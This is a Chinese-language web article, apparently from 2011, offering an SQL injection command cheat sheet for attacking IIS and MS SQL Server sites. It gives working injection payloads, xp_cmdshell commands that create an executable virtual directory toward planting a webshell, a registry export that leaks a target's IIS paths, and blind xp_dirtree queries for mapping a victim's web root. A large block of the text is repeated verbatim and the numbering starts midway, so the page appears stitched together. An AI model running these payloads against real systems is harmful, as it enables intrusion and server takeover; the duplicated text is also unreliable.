比較全的SQL注入相關(guān)的命令分享
作者: 來源: 發(fā)布時間:2011-6-15 15:18:23 點擊:
比如說,如果通過啟動盤進(jìn)入DOS,則備份注冊表的命令是"Regedit /L:C:\windows\/R:C:\windows\/e regedit.reg",該命令的意思是把整個注冊表備份到WINDOWS目錄下,其文件名為"regedit.reg"。而如果輸入的是"regedit /E D:\regedit.reg"這條命令,則是說把整個注冊表備份到D盤的根目錄下(省略了"/L"和"/R"參數(shù)),其文件名為"Regedit.reg"。
regedit /s c:\adam.reg (導(dǎo)入c:\adam.reg文件至注冊表)
regedit /e c:\web.reg (備份全部注冊內(nèi)容到c:\web.reg中)
針對win2000系統(tǒng):C:\>regedit /e %windir%\help\iishelp\common\404b.htm "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots"
然后http://目標(biāo)IP/2.asp
針對win2003系統(tǒng):沒有找到,希望找到的朋友公布出來一起討論。
6)虛擬主機下%SystemRoot%\system32\inetsrv\MetaBack\下的文件是iis的備份文件,是允許web用戶訪問的,如果你的iis備份到這里,用webshell下載下來后用記事本打開,可以獲取對應(yīng)的域名和web絕對路徑。
7)SQL注入建立虛擬目錄,有dbo權(quán)限下找不到web絕對路徑的一種解決辦法:
我們很多情況下都遇到SQL注入可以列目錄和運行命令,但是卻很不容易找到web所在目錄,也就不好得到一個webshell,這一招不錯:
建立虛擬目錄win,指向c:\winnt\system32:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
讓win目錄具有解析asp腳本權(quán)限:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accessexecute "true" –s:'
刪除虛擬目錄win:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/'
測試:http://127.0.0.1/win/test.asp
8)利用SQL語句來查找WEB目錄:根據(jù)經(jīng)驗,猜疑WEB根目錄的順序是:d盤、e盤、c盤,首先我們建立一個臨時表用于存放master..xp_dirtree(適合于public)生成的目錄樹,用以下語句:
;create table temp(dir nvarchar(255),depth varchar(255));--,該表的dir字段表示目錄的名稱,depth字段表示目錄的深度。然后執(zhí)行xp_dirtree獲得D盤的目錄樹,語句如下:
;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--
在進(jìn)行下面的操作前,先查看D盤有幾個文件夾,這樣對D盤有個大致的了解,語句如下:
and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷'))>=數(shù)字(數(shù)字=0、1、2、3...)
接著,我們在對方的網(wǎng)站上找?guī)讉一級子目錄,如user、photo,然后,用篩選的方法來判斷WEB根目錄上是否存在此盤上,語句如下:
and (select count(*) from temp where dir<>'user')<(select count(*) from temp)
看語句的返回結(jié)果,如果為真,表示W(wǎng)EB根目錄有可能在此盤上,為了進(jìn)一步確認(rèn),多測試幾個子目錄:
and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)
...
如果所有的測試結(jié)果都為真,表示W(wǎng)EB根目錄很有可能在此盤上。
下面假設(shè)找到的WEB根目錄在此盤上,用以下的語句來獲得一級子目錄的深度:
and (select depth from temp where dir='user')>=數(shù)字(數(shù)字=1、2、3...)
假設(shè)得到的depth是3,說明user目錄是D盤的3級目錄,則WEB根目錄是D盤的二級目錄。
目前我們已經(jīng)知道了根目錄所在的盤符和深度,要找到根目錄的具體位置,我們來從D盤根目錄開始逐一搜尋,當(dāng)然,沒有必要知道每個目錄的名稱,否則太耗費時間了。
接下來,另外建立一個臨時表,用來存放D盤的1級子目錄下的所有目錄,語句如下:
;create table temp1(dir nvarchar(255),depth varchar(255));--
然后把從D盤的第一個子目錄下的所有目錄存到temp1中,語句如下:
declare @dirname varchar(255);set @dirname='d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname
當(dāng)然也可以把D盤的第二個子目錄下的所有目錄存到temp1中,只需把第二個top 1改為top 2就行了。
現(xiàn)在,temp1中已經(jīng)保存了所有D盤第一級子目錄下的所有目錄,然后,我們用同樣的方法來判斷根目錄是否在此一級子目錄下:
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)
如果返回為真,表示根目錄可能在此子目錄下,記住要多測試幾個例子,如果都返回為假,則表明WEB根目錄不在此目錄下,然后我們在用同樣的方法來獲得D盤第2、3...個子目錄下的所有目錄列表,來判斷WEB根目錄是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的內(nèi)容刪除。
現(xiàn)在假設(shè),WEB根目錄在D盤的第一級子目錄下,該子目錄名稱為website,怎樣獲得這個目錄的名稱我想不用我說了吧。因為前面我們知道了WEB根目錄的深度為2,我們需要知道website下到底哪個才是真正的WEB根目錄。
現(xiàn)在,我們用同樣的方法,再建立第3個臨時表:
;create table temp2(dir nvarchar(255),depth varchar(255));--
然后把從D盤的website下的所有目錄存到temp2中,語句如下:
declare @dirname varchar(255);set @dirname='d:\website\'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname
當(dāng)然也可以把D盤的website下第二個子目錄下的所有目錄存到temp2中,只需把第二個top 1改為top 2就行了。
regedit /s c:\adam.reg (導(dǎo)入c:\adam.reg文件至注冊表)
regedit /e c:\web.reg (備份全部注冊內(nèi)容到c:\web.reg中)
針對win2000系統(tǒng):C:\>regedit /e %windir%\help\iishelp\common\404b.htm "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots"
然后http://目標(biāo)IP/2.asp
針對win2003系統(tǒng):沒有找到,希望找到的朋友公布出來一起討論。
6)虛擬主機下%SystemRoot%\system32\inetsrv\MetaBack\下的文件是iis的備份文件,是允許web用戶訪問的,如果你的iis備份到這里,用webshell下載下來后用記事本打開,可以獲取對應(yīng)的域名和web絕對路徑。
7)SQL注入建立虛擬目錄,有dbo權(quán)限下找不到web絕對路徑的一種解決辦法:
我們很多情況下都遇到SQL注入可以列目錄和運行命令,但是卻很不容易找到web所在目錄,也就不好得到一個webshell,這一招不錯:
建立虛擬目錄win,指向c:\winnt\system32:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
讓win目錄具有解析asp腳本權(quán)限:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accessexecute "true" –s:'
刪除虛擬目錄win:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/'
測試:http://127.0.0.1/win/test.asp
8)利用SQL語句來查找WEB目錄:根據(jù)經(jīng)驗,猜疑WEB根目錄的順序是:d盤、e盤、c盤,首先我們建立一個臨時表用于存放master..xp_dirtree(適合于public)生成的目錄樹,用以下語句:
;create table temp(dir nvarchar(255),depth varchar(255));--,該表的dir字段表示目錄的名稱,depth字段表示目錄的深度。然后執(zhí)行xp_dirtree獲得D盤的目錄樹,語句如下:
;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--
在進(jìn)行下面的操作前,先查看D盤有幾個文件夾,這樣對D盤有個大致的了解,語句如下:
and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷'))>=數(shù)字(數(shù)字=0、1、2、3...)
接著,我們在對方的網(wǎng)站上找?guī)讉一級子目錄,如user、photo,然后,用篩選的方法來判斷WEB根目錄上是否存在此盤上,語句如下:
and (select count(*) from temp where dir<>'user')<(select count(*) from temp)
看語句的返回結(jié)果,如果為真,表示W(wǎng)EB根目錄有可能在此盤上,為了進(jìn)一步確認(rèn),多測試幾個子目錄:
and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)
...
如果所有的測試結(jié)果都為真,表示W(wǎng)EB根目錄很有可能在此盤上。
下面假設(shè)找到的WEB根目錄在此盤上,用以下的語句來獲得一級子目錄的深度:
and (select depth from temp where dir='user')>=數(shù)字(數(shù)字=1、2、3...)
假設(shè)得到的depth是3,說明user目錄是D盤的3級目錄,則WEB根目錄是D盤的二級目錄。
目前我們已經(jīng)知道了根目錄所在的盤符和深度,要找到根目錄的具體位置,我們來從D盤根目錄開始逐一搜尋,當(dāng)然,沒有必要知道每個目錄的名稱,否則太耗費時間了。
接下來,另外建立一個臨時表,用來存放D盤的1級子目錄下的所有目錄,語句如下:
;create table temp1(dir nvarchar(255),depth varchar(255));--
然后把從D盤的第一個子目錄下的所有目錄存到temp1中,語句如下:
declare @dirname varchar(255);set @dirname='d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname
當(dāng)然也可以把D盤的第二個子目錄下的所有目錄存到temp1中,只需把第二個top 1改為top 2就行了。
現(xiàn)在,temp1中已經(jīng)保存了所有D盤第一級子目錄下的所有目錄,然后,我們用同樣的方法來判斷根目錄是否在此一級子目錄下:
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)
如果返回為真,表示根目錄可能在此子目錄下,記住要多測試幾個例子,如果都返回為假,則表明WEB根目錄不在此目錄下,然后我們在用同樣的方法來獲得D盤第2、3...個子目錄下的所有目錄列表,來判斷WEB根目錄是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的內(nèi)容刪除。
現(xiàn)在假設(shè),WEB根目錄在D盤的第一級子目錄下,該子目錄名稱為website,怎樣獲得這個目錄的名稱我想不用我說了吧。因為前面我們知道了WEB根目錄的深度為2,我們需要知道website下到底哪個才是真正的WEB根目錄。
現(xiàn)在,我們用同樣的方法,再建立第3個臨時表:
;create table temp2(dir nvarchar(255),depth varchar(255));--
然后把從D盤的website下的所有目錄存到temp2中,語句如下:
declare @dirname varchar(255);set @dirname='d:\website\'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname
當(dāng)然也可以把D盤的website下第二個子目錄下的所有目錄存到temp2中,只需把第二個top 1改為top 2就行了。
Tags:
比較全的SQL注入相關(guān)的命令分享[收藏此文章]